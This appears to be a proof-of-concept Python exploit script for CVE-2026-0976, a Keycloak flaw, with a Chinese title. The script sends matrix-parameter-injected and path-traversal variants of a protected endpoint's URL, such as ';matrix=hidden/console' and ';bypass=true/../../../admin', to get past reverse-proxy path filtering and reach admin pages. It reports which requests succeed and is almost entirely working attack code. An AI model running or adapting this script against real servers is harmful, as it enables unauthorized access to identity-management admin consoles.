CVE-2026-0976 Keycloak矩阵参数注入绕过代理路径过滤漏洞

# CVE-2026-0976 PoC - Matrix Parameter Injection Bypass # Target: Keycloak with reverse proxy that ignores matrix parameters # Affected: Proxy path filtering bypass import requests import sys def test_matrix_parameter_bypass(base_url, protected_endpoint): """ Test for matrix parameter injection vulnerability Keycloak accepts RFC-compliant matrix parameters that proxies may ignore """ # Normal request (blocked by proxy) normal_url = f"{base_url}{protected_endpoint}" # Bypass attempt using matrix parameter # The matrix parameter is embedded in the path segment bypass_url = f"{base_url}{protected_endpoint};matrix=hidden/console" headers = { "User-Agent": "CVE-2026-0976-PoC-Tester", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9" } print(f"[*] Testing CVE-2026-0976 Matrix Parameter Injection") print(f"[*] Target: {base_url}") print(f"[*] Protected Endpoint: {protected_endpoint}") print() # Test normal request print(f"[1] Testing normal request: {normal_url}") try: resp1 = requests.get(normal_url, headers=headers, timeout=10, allow_redirects=False) print(f" Status: {resp1.status_code}") except requests.RequestException as e: print(f" Error: {e}") print() # Test bypass request with matrix parameter print(f"[2] Testing bypass request: {bypass_url}") try: resp2 = requests.get(bypass_url, headers=headers, timeout=10, allow_redirects=False) print(f" Status: {resp2.status_code}") if resp2.status_code == 200: print(f" [VULNERABLE] Matrix parameter bypass may have worked!") print(f" Response length: {len(resp2.content)} bytes") elif resp2.status_code in [301, 302, 303, 307, 308]: print(f" [POTENTIAL] Redirect detected - check Location header") print(f" Location: {resp2.headers.get('Location', 'N/A')}") else: print(f" Request blocked or not found") except requests.RequestException as e: print(f" Error: {e}") # Additional test cases with various matrix parameters test_cases = [ f"{protected_endpoint};auth=admin", f"{protected_endpoint};x=/../admin", f"{protected_endpoint};bypass=true/../../../admin", ] print() print("[3] Testing additional bypass variations:") for i, test_path in enumerate(test_cases, 1): test_url = f"{base_url}{test_path}" print(f" Test {i}: {test_url}") try: resp = requests.get(test_url, headers=headers, timeout=10, allow_redirects=False) print(f" Status: {resp.status_code}") except requests.RequestException as e: print(f" Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2026_0976_poc.py <base_url> <protected_endpoint>") print("Example: python cve_2026_0976_poc.py http://target.com /admin") sys.exit(1) base_url = sys.argv[1].rstrip('/') protected_endpoint = sys.argv[2] test_matrix_parameter_bypass(base_url, protected_endpoint)